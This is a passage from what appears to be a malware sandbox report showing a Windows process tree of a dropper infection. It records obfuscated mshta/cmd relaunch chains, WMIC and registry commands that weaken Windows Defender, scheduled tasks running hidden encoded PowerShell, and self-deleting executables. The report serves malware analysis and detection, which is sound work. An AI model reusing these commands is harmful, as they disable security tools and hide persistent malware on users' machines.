                                                                    "C:\ProgramData\7310104.exe"
                                                                    12⤵
                                                                      PID:4172
                                                                    • C:\ProgramData\5077757.exe
                                                                      "C:\ProgramData\5077757.exe"
                                                                      12⤵
                                                                      • Executes dropped EXE
                                                                      • Loads dropped DLL
                                                                      • Suspicious behavior: SetClipboardViewer
                                                                      PID:3872
                                                                    • C:\ProgramData\8057540.exe
                                                                      "C:\ProgramData\8057540.exe"
                                                                      12⤵
                                                                      • Executes dropped EXE
                                                                      • Checks BIOS information in registry
                                                                      • Checks whether UAC is enabled
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      PID:6328
                                                                    • C:\ProgramData\3098340.exe
                                                                      "C:\ProgramData\3098340.exe"
                                                                      12⤵
                                                                      • Executes dropped EXE
                                                                      • Checks BIOS information in registry
                                                                      • Checks whether UAC is enabled
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      PID:6932
                                                                    • C:\ProgramData\4990988.exe
                                                                      "C:\ProgramData\4990988.exe"
                                                                      12⤵
                                                                      • Executes dropped EXE
                                                                      PID:2128
                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                        "C:\Windows\System32\mshta.exe" vBSCrIPt: close ( crEateobJeCt ("wsCRIpT.sHEll" ). RUN ( "C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\ProgramData\4990988.exe"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If """"== """" for %l In ( ""C:\ProgramData\4990988.exe"") do taskkill -Im ""%~nxl"" /F " , 0 , TRuE) )
                                                                        13⤵
                                                                          PID:6996
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /q /C cOPy /Y "C:\ProgramData\4990988.exe" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If ""== "" for %l In ( "C:\ProgramData\4990988.exe") do taskkill -Im "%~nxl" /F
                                                                            14⤵
                                                                              PID:6740
                                                                              • C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE
                                                                                C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9
                                                                                15⤵
                                                                                • Executes dropped EXE
                                                                                PID:7452
                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                  "C:\Windows\System32\mshta.exe" vBSCrIPt: close ( crEateobJeCt ("wsCRIpT.sHEll" ). RUN ( "C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If ""-P48RT5mWbqdvVNE0ZvDVppXXBhLw9 ""== """" for %l In ( ""C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE"") do taskkill -Im ""%~nxl"" /F " , 0 , TRuE) )
                                                                                  16⤵
                                                                                    PID:7620
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\system32\cmd.exe" /q /C cOPy /Y "C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If "-P48RT5mWbqdvVNE0ZvDVppXXBhLw9 "== "" for %l In ( "C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE") do taskkill -Im "%~nxl" /F
                                                                                      17⤵
                                                                                        PID:7836
                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                      "C:\Windows\System32\rundll32.exe" .\zyYHQ.U,xGNjygcjY
                                                                                      16⤵
                                                                                      • Loads dropped DLL
                                                                                      PID:8176
                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                    taskkill -Im "4990988.exe" /F
                                                                                    15⤵
                                                                                    • Kills process with taskkill
                                                                                    PID:7584
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vyu2bb22.b1j\askinstall52.exe & exit
                                                                          10⤵
                                                                            PID:6960
                                                                            • C:\Users\Admin\AppData\Local\Temp\vyu2bb22.b1j\askinstall52.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\vyu2bb22.b1j\askinstall52.exe
                                                                              11⤵
                                                                              • Executes dropped EXE
                                                                              PID:7112
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd.exe /c taskkill /f /im chrome.exe
                                                                                12⤵
                                                                                  PID:6680
                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                    taskkill /f /im chrome.exe
                                                                                    13⤵
                                                                                    • Kills process with taskkill
                                                                                    PID:2656
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mlocu5ln.kre\install.exe & exit
                                                                              10⤵
                                                                                PID:6980
                                                                                • C:\Users\Admin\AppData\Local\Temp\mlocu5ln.kre\install.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\mlocu5ln.kre\install.exe
                                                                                  11⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:7040
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDA4.tmp\SimplInst.exe
                                                                                    .\SimplInst.exe
                                                                                    12⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:6720
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDEAD.tmp\SimplInst.exe
                                                                                      .\SimplInst.exe /S /site_id "216660"
                                                                                      13⤵
                                                                                      • Executes dropped EXE
                                                                                      • Checks BIOS information in registry
                                                                                      • Drops file in System32 directory
                                                                                      • Enumerates system info in registry
                                                                                      PID:7216
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
                                                                                        14⤵
                                                                                          PID:7344
                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                            15⤵
                                                                                              PID:7632
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                16⤵
                                                                                                  PID:7784
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                    17⤵
                                                                                                      PID:7948
                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                        18⤵
                                                                                                          PID:5032
                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                    15⤵
                                                                                                      PID:6632
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                        16⤵
                                                                                                          PID:7028
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                            17⤵
                                                                                                              PID:7084
                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                18⤵
                                                                                                                  PID:7180
                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                            forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                            15⤵
                                                                                                              PID:4924
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                16⤵
                                                                                                                  PID:5524
                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                    17⤵
                                                                                                                      PID:7108
                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                        18⤵
                                                                                                                          PID:7588
                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                    15⤵
                                                                                                                      PID:6504
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                        16⤵
                                                                                                                          PID:8040
                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                            17⤵
                                                                                                                              PID:6804
                                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                18⤵
                                                                                                                                  PID:5504
                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                                                                          14⤵
                                                                                                                            PID:7592
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                                                              15⤵
                                                                                                                                PID:5108
                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                                                                  16⤵
                                                                                                                                    PID:7224
                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                                                                                    16⤵
                                                                                                                                      PID:7328
                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                                                                                  14⤵
                                                                                                                                    PID:8036
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                                                                      15⤵
                                                                                                                                        PID:8132
                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                                                                          16⤵
                                                                                                                                            PID:6700
                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                                                                            16⤵
                                                                                                                                              PID:8136
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /CREATE /TN "gBAQvvrnh" /SC once /ST 02:24:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                          14⤵
                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                          PID:6604
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /run /I /tn "gBAQvvrnh"
                                                                                                                                          14⤵
                                                                                                                                            PID:7908
                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                              15⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4728
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /DELETE /F /TN "gBAQvvrnh"
                                                                                                                                            14⤵
                                                                                                                                              PID:5592
                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                              schtasks /CREATE /TN "bCQQUSYoXLKlZTQVFm" /SC once /ST 07:15:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU\WcEadxDpHtEHjlL\KXOTaKB.exe\" 8e /site_id 216660 /S" /V1 /F
                                                                                                                                              14⤵
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                              PID:2228
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\14as3yst.u01\gcleaner.exe /mixfive & exit
                                                                                                                                      10⤵
                                                                                                                                        PID:7100
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\14as3yst.u01\gcleaner.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\14as3yst.u01\gcleaner.exe /mixfive
                                                                                                                                          11⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:7424
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0ujgikaf.w3k\autosubplayer.exe /S & exit
                                                                                                                                        10⤵
                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                        PID:7196
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c Sun05899db881f67fb29.exe
                                                                                                                              5⤵
                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                              PID:3024
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS833A2A44\Sun05899db881f67fb29.exe
                                                                                                                                Sun05899db881f67fb29.exe
                                                                                                                                6⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:3288
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\48C2.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\48C2.exe
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:4224
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\57D6.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\57D6.exe
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:6164
                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          3⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:4488
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\CF78.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\CF78.exe
                                                                                                                        2⤵
                                                                                                                        • Loads dropped DLL
                                                                                                                        PID:7868
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\CF78.exe"
                                                                                                                          3⤵
                                                                                                                            PID:1116
                                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                                              timeout /T 10 /NOBREAK
                                                                                                                              4⤵
                                                                                                                              • Delays execution with timeout.exe
                                                                                                                              PID:6232
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\B98.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\B98.exe
                                                                                                                          2⤵
                                                                                                                          • Checks BIOS information in registry
                                                                                                                          • Checks whether UAC is enabled
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          PID:8008
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\202A.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\202A.exe
                                                                                                                          2⤵
                                                                                                                            PID:4880
                                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                                                                          1⤵
                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                          PID:2684
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                            2⤵
                                                                                                                            • Drops file in System32 directory
                                                                                                                            • Checks processor information in registry
                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                            PID:4576
                                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                                                                          1⤵
                                                                                                                            PID:2628
                                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                                                                            1⤵
                                                                                                                              PID:2336
                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                                                                                              1⤵
                                                                                                                                PID:1956
                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                                                                                                                1⤵
                                                                                                                                  PID:1404
                                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                                                                                  1⤵
                                                                                                                                    PID:1344
                                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                                                                                                    1⤵
                                                                                                                                      PID:1216
                                                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                                                                                                      1⤵
                                                                                                                                        PID:1096
                                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                                                                        1⤵
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Drops file in Windows directory
                                                                                                                                        PID:1028
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                          2⤵
                                                                                                                                            PID:7848
                                                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                              3⤵
                                                                                                                                                PID:6968
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU\WcEadxDpHtEHjlL\KXOTaKB.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU\WcEadxDpHtEHjlL\KXOTaKB.exe 8e /site_id 216660 /S
                                                                                                                                              2⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              PID:5772
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
                                                                                                                                                3⤵
                                                                                                                                                  PID:7984
                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:3304
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                        5⤵
                                                                                                                                                          PID:7052
                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                            6⤵
                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                            PID:7496
                                                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                              7⤵
                                                                                                                                                                PID:5092
                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                          forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                          4⤵
                                                                                                                                                            PID:1908
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                              5⤵
                                                                                                                                                                PID:7072
                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                  6⤵
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                  PID:2640
                                                                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:6792
                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:7504
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:4284
                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                        6⤵
                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                        PID:7568
                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
